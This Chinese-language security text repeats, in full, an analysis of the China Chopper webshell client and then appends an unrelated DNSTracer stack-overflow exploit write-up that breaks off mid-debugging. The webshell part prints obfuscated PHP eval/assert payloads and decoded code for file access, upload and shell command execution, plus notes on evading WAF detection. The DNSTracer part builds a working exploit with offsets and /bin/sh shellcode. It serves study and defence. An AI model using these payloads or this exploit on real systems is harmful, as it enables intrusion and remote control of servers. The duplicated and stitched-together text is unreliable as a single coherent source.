0×01前言

中国菜刀,是一款十分强大好用的网站管理软件,具体功能也就不再这里赘述了,网上有许多资料。中国菜刀一直被流传存在后门,本文先对中国菜刀几个主要功能进行了代码分析,担心后门的同学也可以根据这个思路按自己需求提炼出代码进行使用。本文以php一句话连接使用为例。

0×02 实验工具

1、Burpsuit

2、中国菜刀(20160620)

0×03 环境准备

1、 在自己的测试网站下放入一句话服务端文件。

image.png 

2、 设置Internet Explorer浏览器代理。如果在局域网设置选项填写保存完代理服务器地址,burpsuit未成功拦截菜刀数据包,可点击高级按钮,检查目标ip段是否在例外中。

image.png

 3、使用菜刀连接一句话服务端时burpsuit出现如下请求,证明拦截成功,可以开始进行分析。

image.png

 

Tips:菜刀客户端对于网站会有缓存,在分析过程中会进行反复的清缓存操作。

0×04 代码分析

1、基本信息获取。双击我们新建的webshell条目,我们会进入如下界面。该界面展示的信息是由两次post数据提交获取到的

(1)第一次post,获取一句话服务端脚本文件所在物理目录、运行php的系统信息以及执行脚本的用户名。

Burpsuit拦截到的请求代码如下:

dd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));

对base64加密部分进行解密得到如下代码:

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
    @set_magic_quotes_runtime(0);
};
echo ("[email protected]");
$D = dirname(__FILE__);
$R = "{$D}\t";
if (substr($D, 0, 1) != "/") {
    foreach (range("A", "Z") as $L) if(is_dir("{$L}:")) $R.= "{$L}:";
}
$R.= "\t";
$u = (function_exists('posix_getegid')) [email protected]_getpwuid(@posix_geteuid()) : '';
$usr = ($u) ? $u['name'] : @get_current_user();
$R.= php_uname();
$R.= "({$usr})";
print $R;;
echo ("[email protected]");
die();

a、使用dirname(__FILE__)获取脚本文件所在的绝对物理目录,存储在$D变量中。

b、$R变量存储最终要返回的所有信息,使用\t进行分割。

c、substr($D, 0,1) != “/”作为判断语句条件,判断$D的首个字符是否为“/”,目的是确定目标系统为linux还是windows。若为windows,则遍历判断A-Z盘符是否存在并将存在的盘符号存储到$R中。

d、posix_getpwuid()、get_current_user()函数是为获取执行脚本用户名,php_uname()函数为获取运行php系统信息。

e、echo(“[email protected]”);这只是定界符,为了方便客户端获取信息。但是有些基于DPI的webshell检测工具可能会将”[email protected]”作为特征字符串。

 Burpsuit返回信息:

image.png

(2)第二次post,获取一句话脚本文件所属目录下的所有目录文件、修改时间、权限和文件大小信息。解密后代码如下:

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
   @set_magic_quotes_runtime(0);
};
echo ("[email protected]");
$D = '/usr/share/nginx/html/';
$F = @opendir($D);
if ($F == NULL) {
    echo ("ERROR:// PathNot Found Or No Permission!");
} else {
    $M = NULL;
    $L = NULL;
    while ($N = @readdir($F)){
        $P = $D . '/' . $N;
        $T = @date("Y-m-dH:i:s", @filemtime($P));
        @$E =substr(base_convert(@fileperms($P) , 10, 8) , -4);
        $R = "\t" .$T . "\t" . @filesize($P) . "\t" . $E . "\n";
        if (@is_dir($P)) $M.=$N . "/" . $R;
        else $L.= $N . $R;
    }
    echo $M . $L;
    @closedir($F);
 };
echo ("[email protected]");
die();

 a、@opendir($D);获取所属目录下的所有目录文件。

 b、filemtime()、fileperms()、filesize()获取修改时间、权限、文件大小信息。

 Burpsuit返回信息:

image.png 

2、查看文件内容。示例为查看本地网站下2.php文件内容。解密后代码如下: 

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
   @set_magic_quotes_runtime(0);
};
echo ("[email protected]");
$F = '/usr/share/nginx/html/2.php';
$P = @fopen($F, 'r');
echo (@fread($P, filesize($F)));
@fclose($P);;
echo ("[email protected]");
die();

a、 使用fopen、fread函数组合获取文件内容

Burpsuit返回信息:

image.png 

3、文件下载。示例为下载本地网站下2.php文件。解密后代码如下:

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') { 
    @set_magic_quotes_runtime(0);
};
echo ("[email protected]");
$F = "/usr/share/nginx/html/2.php";
$fp = @fopen($F, 'r');
if (@fgetc($fp)) { 
    @fclose($fp); 
    @readfile($F);
} else { 
    echo ('ERROR://Can NotRead');
};
echo ("[email protected]");
die();

 a、fgetc()函数从文件句柄中获取一个字符,目的是判断文件是否可读,如果可读,使用readfile()函数获取文件所有内容到标准输出中

4、文件上传。示例为上传uploadtest.txt文件。     

Burpsuit拦截代码如下:

&dd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JGY9Jy91c3Ivc2hhcmUvbmdpbngvaHRtbC91cGxvYWR0ZXN0LnR4dCc7JGM9JF9QT1NUWyJ6MSJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoJyUnLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCd3JyksJGJ1Zik%2FJzEnOicwJyk7O2VjaG8oIlhAWSIpO2RpZSgpOw%3D%3D'));\");"));&z1=746869732069732075706C6F61642074657374

解密后代码如下:

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
    @set_magic_quotes_runtime(0);
};
echo ("[email protected]");
$f='usr/share/nginx/html/uploadtest.txt';
$c = $_POST["z1"];
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
$buf = "";
for ($i = 0;$i < strlen($c);$i+= 2) $buf.= urldecode('%' .substr($c, $i, 2));
echo (@fwrite(fopen($f, 'w'), $buf) ? '1' : '0');;
echo ("[email protected]");
die();

 a、$c=$_POST[“z1”],本例中z1变量内容为74686973206973207570,实际是将上传文件内容进行了16进制转换。之后使用urldecode将16进制转回为字符。这是一个不错的隐藏关键代码的思路。

image.png

image.png 

5、虚拟终端命令执行。示例执行的命令为uname -a。解密后代码如下:

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
    @set_magic_quotes_runtime(0);
};
echo ("[email protected]");
$m = get_magic_quotes_gpc();
$p = '/bin/sh';
$s = 'cd /usr/share/nginx/html/;uname -a;echo [S];pwd;echo [E]';
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c\"{$s}\"" : "/c \"{$s}\"";
$r = "{$p} {$c}";
$array = array(array("pipe", "r"),array("pipe", "w"), array("pipe","w"));
$fp = proc_open($r . " 2>&1", $array, $pipes);
$ret = stream_get_contents($pipes[1]);
proc_close($fp);
print $ret;;
echo ("[email protected]");
die();

a、$d =dirname($_SERVER["SCRIPT_FILENAME"]);获取脚本文件的所属目录

b、$c = substr($d, 0, 1) == “/” ?”-c \”{$s}\”" : “/c \”{$s}\”";判断所属目录第一个字符是否为”/”,若是,则$c值为-c,若不是,则值为/c。如此,linux下用于执行命令语句为/bin/sh -c (command),windows下用于执行命令语句为cmd /c (command)。

c、使用proc_open函数作为执行函数。有关proc_open的函数说明可以看这里:http://php.net/manual/zh/function.proc-open.php。

小彩蛋:

image.png

image.png

image.png

 

0×05 客户端制作示例

笔者在菜刀的php命令执行模块代码的基础上,制作php一句话客户端,可以对post数据做加密处理,用于绕过waf对菜刀数据特征的检测。

一句话木马如下:

image.png

效果如下:

image.png

示例脚本代码地址

0×06 结束语

绕过对菜刀特征的检测,除了自己写客户端外,还可以写php转发程序,参考文章:https://blog.csdn.net/h4ck0ne/article/details/50570779

亦可使用新版菜刀的自定义配置功能,参考文章:https://www.scanfsec.com/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8%E6%96%B0%E7%89%88%E8%8F%9C%E5%88%80%E8%BF%87waf.html

中国菜刀里融合了作者许多优秀的思想,本文只是以php为例抛砖引玉,读者可以根据此分析思路自行分析菜刀的其他功能,或者直接阅读菜刀配置文件caidao.conf,以此为基础,写出灵活的小马,或者制作属于自己的一句话客户端。

0×01前言

中国菜刀,是一款十分强大好用的网站管理软件,具体功能也就不再这里赘述了,网上有许多资料。中国菜刀一直被流传存在后门,本文先对中国菜刀几个主要功能进行了代码分析,担心后门的同学也可以根据这个思路按自己需求提炼出代码进行使用。本文以php一句话连接使用为例。

0×02 实验工具

1、Burpsuit

2、中国菜刀(20160620)

0×03 环境准备

1、 在自己的测试网站下放入一句话服务端文件。

image.png 

2、 设置Internet Explorer浏览器代理。如果在局域网设置选项填写保存完代理服务器地址,burpsuit未成功拦截菜刀数据包,可点击高级按钮,检查目标ip段是否在例外中。

image.png

 3、使用菜刀连接一句话服务端时burpsuit出现如下请求,证明拦截成功,可以开始进行分析。

image.png

 

Tips:菜刀客户端对于网站会有缓存,在分析过程中会进行反复的清缓存操作。

0×04 代码分析

1、基本信息获取。双击我们新建的webshell条目,我们会进入如下界面。该界面展示的信息是由两次post数据提交获取到的

(1)第一次post,获取一句话服务端脚本文件所在物理目录、运行php的系统信息以及执行脚本的用户名。

Burpsuit拦截到的请求代码如下:

dd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));

对base64加密部分进行解密得到如下代码:

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
    @set_magic_quotes_runtime(0);
};
echo ("[email protected]");
$D = dirname(__FILE__);
$R = "{$D}\t";
if (substr($D, 0, 1) != "/") {
    foreach (range("A", "Z") as $L) if(is_dir("{$L}:")) $R.= "{$L}:";
}
$R.= "\t";
$u = (function_exists('posix_getegid')) [email protected]_getpwuid(@posix_geteuid()) : '';
$usr = ($u) ? $u['name'] : @get_current_user();
$R.= php_uname();
$R.= "({$usr})";
print $R;;
echo ("[email protected]");
die();

a、使用dirname(__FILE__)获取脚本文件所在的绝对物理目录,存储在$D变量中。

b、$R变量存储最终要返回的所有信息,使用\t进行分割。

c、substr($D, 0,1) != “/”作为判断语句条件,判断$D的首个字符是否为“/”,目的是确定目标系统为linux还是windows。若为windows,则遍历判断A-Z盘符是否存在并将存在的盘符号存储到$R中。

d、posix_getpwuid()、get_current_user()函数是为获取执行脚本用户名,php_uname()函数为获取运行php系统信息。

e、echo(“[email protected]”);这只是定界符,为了方便客户端获取信息。但是有些基于DPI的webshell检测工具可能会将”[email protected]”作为特征字符串。

 Burpsuit返回信息:

image.png

(2)第二次post,获取一句话脚本文件所属目录下的所有目录文件、修改时间、权限和文件大小信息。解密后代码如下:

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
   @set_magic_quotes_runtime(0);
};
echo ("[email protected]");
$D = '/usr/share/nginx/html/';
$F = @opendir($D);
if ($F == NULL) {
    echo ("ERROR:// PathNot Found Or No Permission!");
} else {
    $M = NULL;
    $L = NULL;
    while ($N = @readdir($F)){
        $P = $D . '/' . $N;
        $T = @date("Y-m-dH:i:s", @filemtime($P));
        @$E =substr(base_convert(@fileperms($P) , 10, 8) , -4);
        $R = "\t" .$T . "\t" . @filesize($P) . "\t" . $E . "\n";
        if (@is_dir($P)) $M.=$N . "/" . $R;
        else $L.= $N . $R;
    }
    echo $M . $L;
    @closedir($F);
 };
echo ("[email protected]");
die();

 a、@opendir($D);获取所属目录下的所有目录文件。

 b、filemtime()、fileperms()、filesize()获取修改时间、权限、文件大小信息。

 Burpsuit返回信息:

image.png 

2、查看文件内容。示例为查看本地网站下2.php文件内容。解密后代码如下: 

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
   @set_magic_quotes_runtime(0);
};
echo ("[email protected]");
$F = '/usr/share/nginx/html/2.php';
$P = @fopen($F, 'r');
echo (@fread($P, filesize($F)));
@fclose($P);;
echo ("[email protected]");
die();

a、 使用fopen、fread函数组合获取文件内容

Burpsuit返回信息:

image.png 

3、文件下载。示例为下载本地网站下2.php文件。解密后代码如下:

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') { 
    @set_magic_quotes_runtime(0);
};
echo ("[email protected]");
$F = "/usr/share/nginx/html/2.php";
$fp = @fopen($F, 'r');
if (@fgetc($fp)) { 
    @fclose($fp); 
    @readfile($F);
} else { 
    echo ('ERROR://Can NotRead');
};
echo ("[email protected]");
die();

 a、fgetc()函数从文件句柄中获取一个字符,目的是判断文件是否可读,如果可读,使用readfile()函数获取文件所有内容到标准输出中

4、文件上传。示例为上传uploadtest.txt文件。     

Burpsuit拦截代码如下:

&dd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JGY9Jy91c3Ivc2hhcmUvbmdpbngvaHRtbC91cGxvYWR0ZXN0LnR4dCc7JGM9JF9QT1NUWyJ6MSJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoJyUnLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCd3JyksJGJ1Zik%2FJzEnOicwJyk7O2VjaG8oIlhAWSIpO2RpZSgpOw%3D%3D'));\");"));&z1=746869732069732075706C6F61642074657374

解密后代码如下:

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
    @set_magic_quotes_runtime(0);
};
echo ("[email protected]");
$f='usr/share/nginx/html/uploadtest.txt';
$c = $_POST["z1"];
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
$buf = "";
for ($i = 0;$i < strlen($c);$i+= 2) $buf.= urldecode('%' .substr($c, $i, 2));
echo (@fwrite(fopen($f, 'w'), $buf) ? '1' : '0');;
echo ("[email protected]");
die();

 a、$c=$_POST[“z1”],本例中z1变量内容为74686973206973207570,实际是将上传文件内容进行了16进制转换。之后使用urldecode将16进制转回为字符。这是一个不错的隐藏关键代码的思路。

image.png

image.png 

5、虚拟终端命令执行。示例执行的命令为uname -a。解密后代码如下:

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
    @set_magic_quotes_runtime(0);
};
echo ("[email protected]");
$m = get_magic_quotes_gpc();
$p = '/bin/sh';
$s = 'cd /usr/share/nginx/html/;uname -a;echo [S];pwd;echo [E]';
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c\"{$s}\"" : "/c \"{$s}\"";
$r = "{$p} {$c}";
$array = array(array("pipe", "r"),array("pipe", "w"), array("pipe","w"));
$fp = proc_open($r . " 2>&1", $array, $pipes);
$ret = stream_get_contents($pipes[1]);
proc_close($fp);
print $ret;;
echo ("[email protected]");
die();

a、$d =dirname($_SERVER["SCRIPT_FILENAME"]);获取脚本文件的所属目录

b、$c = substr($d, 0, 1) == “/” ?”-c \”{$s}\”" : “/c \”{$s}\”";判断所属目录第一个字符是否为”/”,若是,则$c值为-c,若不是,则值为/c。如此,linux下用于执行命令语句为/bin/sh -c (command),windows下用于执行命令语句为cmd /c (command)。

c、使用proc_open函数作为执行函数。有关proc_open的函数说明可以看这里:http://php.net/manual/zh/function.proc-open.php。

小彩蛋:

image.png

image.png

image.png

 

0×05 客户端制作示例

笔者在菜刀的php命令执行模块代码的基础上,制作php一句话客户端,可以对post数据做加密处理,用于绕过waf对菜刀数据特征的检测。

一句话木马如下:

image.png

效果如下:

image.png

示例脚本代码地址

0×06 结束语

绕过对菜刀特征的检测,除了自己写客户端外,还可以写php转发程序,参考文章:https://blog.csdn.net/h4ck0ne/article/details/50570779

亦可使用新版菜刀的自定义配置功能,参考文章:https://www.scanfsec.com/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8%E6%96%B0%E7%89%88%E8%8F%9C%E5%88%80%E8%BF%87waf.html

中国菜刀里融合了作者许多优秀的思想,本文只是以php为例抛砖引玉,读者可以根据此分析思路自行分析菜刀的其他功能,或者直接阅读菜刀配置文件caidao.conf,以此为基础,写出灵活的小马,或者制作属于自己的一句话客户端。

漏洞描述

DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9 及之前的版本中存在栈缓冲区溢出漏洞。攻击者可借助带有较长参数的命令行利用该漏洞造成拒绝服务攻击。

漏洞复现

推荐使用的环境 备注
操作系统 Ubuntu 12.04 体系结构:32 位
调试器 gdb-peda 版本号:7.4
漏洞软件 DNSTracer 版本号:1.9

首先编译安装 DNSTracer:


$ wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
$ tar zxvf dnstracer-1.9.tar.gz
$ cd dnstracer-1.9
$ ./confugure
$ make && sudo make install

传入一段超长的字符串作为参数即可触发栈溢出:


$ dnstracer -v $(python -c 'print "A"*1025')
*** buffer overflow detected ***: dnstracer terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb757f377]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x68)[0xb760f6b8]
/lib/i386-linux-gnu/libc.so.6(+0xf58a8)[0xb760d8a8]
/lib/i386-linux-gnu/libc.so.6(+0xf4e9f)[0xb760ce9f]
dnstracer[0x8048f26]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7530637]
dnstracer[0x804920a]
======= Memory map: ========
08048000-0804e000 r-xp 00000000 08:01 270483     /usr/local/bin/dnstracer
0804f000-08050000 r--p 00006000 08:01 270483     /usr/local/bin/dnstracer
08050000-08051000 rw-p 00007000 08:01 270483     /usr/local/bin/dnstracer
08051000-08053000 rw-p 00000000 00:00 0
084b6000-084d7000 rw-p 00000000 00:00 0         [heap]
b74e4000-b7500000 r-xp 00000000 08:01 394789     /lib/i386-linux-gnu/libgcc_s.so.1
b7500000-b7501000 rw-p 0001b000 08:01 394789     /lib/i386-linux-gnu/libgcc_s.so.1
b7518000-b76c8000 r-xp 00000000 08:01 394751     /lib/i386-linux-gnu/libc-2.23.so
b76c8000-b76ca000 r--p 001af000 08:01 394751     /lib/i386-linux-gnu/libc-2.23.so
b76ca000-b76cb000 rw-p 001b1000 08:01 394751     /lib/i386-linux-gnu/libc-2.23.so
b76cb000-b76ce000 rw-p 00000000 00:00 0
b76e4000-b76e7000 rw-p 00000000 00:00 0
b76e7000-b76e9000 r--p 00000000 00:00 0         [vvar]
b76e9000-b76eb000 r-xp 00000000 00:00 0         [vdso]
b76eb000-b770d000 r-xp 00000000 08:01 394723     /lib/i386-linux-gnu/ld-2.23.so
b770d000-b770e000 rw-p 00000000 00:00 0
b770e000-b770f000 r--p 00022000 08:01 394723     /lib/i386-linux-gnu/ld-2.23.so
b770f000-b7710000 rw-p 00023000 08:01 394723     /lib/i386-linux-gnu/ld-2.23.so
bf8e5000-bf907000 rw-p 00000000 00:00 0         [stack]
Aborted (core dumped)

漏洞分析

这个漏洞非常简单也非常典型,发生原因是在把参数 argv[0] 复制到数组 argv0 的时候没有做长度检查,如果大于 1024 字节,就会导致栈溢出:


// dnstracer.c
int
main(int argc, char **argv)
{
  [...]
   char argv0[NS_MAXDNAME];
  [...]
   strcpy(argv0, argv[0]);

// dnstracer_broker.h
#ifndef NS_MAXDNAME
#define NS_MAXDNAME 1024
#endif

补丁

要修这个漏洞的话,在调用 strcpy() 前加上对参数长度的检查就可以了:


   /*CVE-2017-9430 Fix*/
   if(strlen(argv[0]) >= NS_MAXDNAME)
  {
       free(server_ip);
       free(server_name);
       fprintf(stderr, "dnstracer: argument is too long %s\n", argv[0]);
       return 1;
  }

   // check for a trailing dot
   strcpy(argv0, argv[0]);

Exploit

首先修改 Makefile,关掉栈保护,同时避免 gcc 使用安全函数 __strcpy_chk() 替换 strcpy(),修改编译选项如下:


$ cat Makefile | grep -w CC            
CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0
COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
CCLD = $(CC)
$ make && sudo make install
gdb-peda$ checksec
CANARY   : disabled
FORTIFY   : disabled
NX       : disabled
PIE       : disabled
RELRO     : Partial

最后关掉 ASLR:


# echo 0 > /proc/sys/kernel/randomize_va_space

因为漏洞发生在 main 函数中,堆栈的布置比起在子函数里也要复杂一些。大体过程和前面写过的一篇 wget 溢出漏洞差不多,但那一篇是 64 位程序,所以这里选择展示一下 32 位程序。

在 gdb 里进行调试,利用 pattern 确定溢出位置,1060 字节就足够了:


gdb-peda$ pattern_create 1060
gdb-peda$ pattern_offset $ebp
1849771630 found at offset: 1049

所以返回地址位于栈偏移 1049+4=1053 的地方。


gdb-peda$ disassemble main
  0x08048df8 <+808>: mov   DWORD PTR [esp+0x4],edi
  0x08048dfc <+812>: mov   DWORD PTR [esp],ebx
  0x08048dff <+815>: call   0x8048950 <[email protected]>
  0x08048e04 <+820>: xor   eax,eax
  0x08048e06 <+822>: mov   ecx,esi
  ...
  0x08048f6e <+1182>: mov   DWORD PTR [esp+0x4],esi
  0x08048f72 <+1186>: call   0x804adb0 <create_session>
  0x08048f77 <+1191>: mov   DWORD PTR [esp],0xa

在下面几个地方下断点,并根据偏移调整我们的输入:


gdb-peda$ b *main+815
gdb-peda$ b *main+820
gdb-peda$ b *main+1186
gdb-peda$ r `perl -e 'print "A"x1053 . "BBBB"'`
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xbfffeb3f --> 0xffed9cb7
ECX: 0x0
EDX: 0xb7fc7180 --> 0x0
ESI: 0xffffffff
EDI: 0xbffff174 ('A' <repeats 200 times>...)
EBP: 0xbfffef58 --> 0x0
ESP: 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
EIP: 0x8048dff (<main+815>: call   0x8048950 <[email protected]>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
  0x8048df1 <main+801>: lea   ebx,[esp+0x46f]
  0x8048df8 <main+808>: mov   DWORD PTR [esp+0x4],edi
  0x8048dfc <main+812>: mov   DWORD PTR [esp],ebx
=> 0x8048dff <main+815>: call   0x8048950 <[email protected]>
  0x8048e04 <main+820>: xor   eax,eax
  0x8048e06 <main+822>: mov   ecx,esi
  0x8048e08 <main+824>: repnz scas al,BYTE PTR es:[edi]
  0x8048e0a <main+826>: not   ecx
Guessed arguments:
arg[0]: 0xbfffeb3f --> 0xffed9cb7
arg[1]: 0xbffff174 ('A' <repeats 200 times>...)
[------------------------------------stack-------------------------------------]
0000| 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
0004| 0xbfffe6d4 --> 0xbffff174 ('A' <repeats 200 times>...)
0008| 0xbfffe6d8 --> 0x804be37 ("4cCoq:r:S:s:t:v")
0012| 0xbfffe6dc --> 0x0
0016| 0xbfffe6e0 --> 0x0
0020| 0xbfffe6e4 --> 0x0
0024| 0xbfffe6e8 --> 0x0
0028| 0xbfffe6ec --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048dff in main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1622
1622   strcpy(argv0, argv[0]);
gdb-peda$ x/10wx argv0
0xbfffeb3f: 0xffed9cb7 0x000000bf 0x00000100 0x00000200
0xbfffeb4f: 0xe33b9700 0xfdcac0b7 0x000000b7 0xffeff400
0xbfffeb5f: 0xe24e08b7 0x000001b7

所以栈位于 0xbfffeb3f,执行这一行代码即可将 0xbffff174 处的 “A” 字符串复制到 argv0 数组中:


gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xbfffe6bf ('A' <repeats 200 times>...)
EBX: 0xbfffe6bf ('A' <repeats 200 times>...)
ECX: 0xbffff1d0 ("BBBB")
EDX: 0xbfffeadc ("BBBB")
ESI: 0x0
EDI: 0xbfffedb3 ('A' <repeats 200 times>...)
EBP: 0xbfffead8 ("AAAABBBB")
ESP: 0xbfffe290 --> 0xbfffe6bf ('A' <repeats 200 times>...)
EIP: 0x8048dba (<main+794>: mov   ecx,DWORD PTR [ebp-0x82c])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
  0x8048db3 <main+787>: push   edi
  0x8048db4 <main+788>: push   ebx
  0x8048db5 <main+789>: call   0x8048920 <[email protected]>
=> 0x8048dba <main+794>: mov   ecx,DWORD PTR [ebp-0x82c]
  0x8048dc0 <main+800>: xor   eax,eax
  0x8048dc2 <main+802>: add   esp,0x10
  0x8048dc5 <main+805>: repnz scas al,BYTE PTR es:[edi]
  0x8048dc7 <main+807>: not   ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfffe290 --> 0xbfffe6bf ('A' <repeats 200 times>...)
0004| 0xbfffe294 --> 0xbfffedb3 ('A' <repeats 200 times>...)
0008| 0xbfffe298 --> 0xffffffff
0012| 0xbfffe29c --> 0xffffffff
0016| 0xbfffe2a0 --> 0x0
0020| 0xbfffe2a4 --> 0x0
0024| 0xbfffe2a8 --> 0x8051018 ("127.0.1.1")
0028| 0xbfffe2ac --> 0xffffffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1623
1623   if (argv0[strlen(argv[0]) - 1] == '.') argv0[strlen(argv[0]) - 1] = 0;
gdb-peda$ x/10wx argv0
0xbfffeb3f: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb4f: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb5f: 0x41414141 0x41414141
gdb-peda$ x/5wx argv0+1053-0x10
0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef5c: 0x42424242

同时字符串 “BBBB” 覆盖了返回地址。所以我们用栈地址 0xbfffeb3f 替换掉 “BBBB”:


gdb-peda$ r `perl -e 'print "A"x1053 . "\x3f\xeb\xff\xbf"'`

gdb-peda$ x/5wx argv0+1053-0x10
0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp
0xbfffef5c: 0xbfffeb3f                                     <-- return address

然后就可以在栈上布置 shellcode 了,这一段 shellcode 长度为 23 字节,前面使用 nop 指令填充:


gdb-peda$ r `perl -e 'print "\x90"x1030 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x3f\xeb\xff\xbf"'`
gdb-peda$ x/7wx argv0+1053-23
0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e <-- shellcode
0xbfffef55: 0xb0e18953 0x3f80cd0b 0x00bfffeb

根据计算,shellcode 位于 0xbfffef45

然而当我们执行这个程序的时候,发生了错误:


gdb-peda$ c
127.0.0.1 (127.0.0.1) * * *
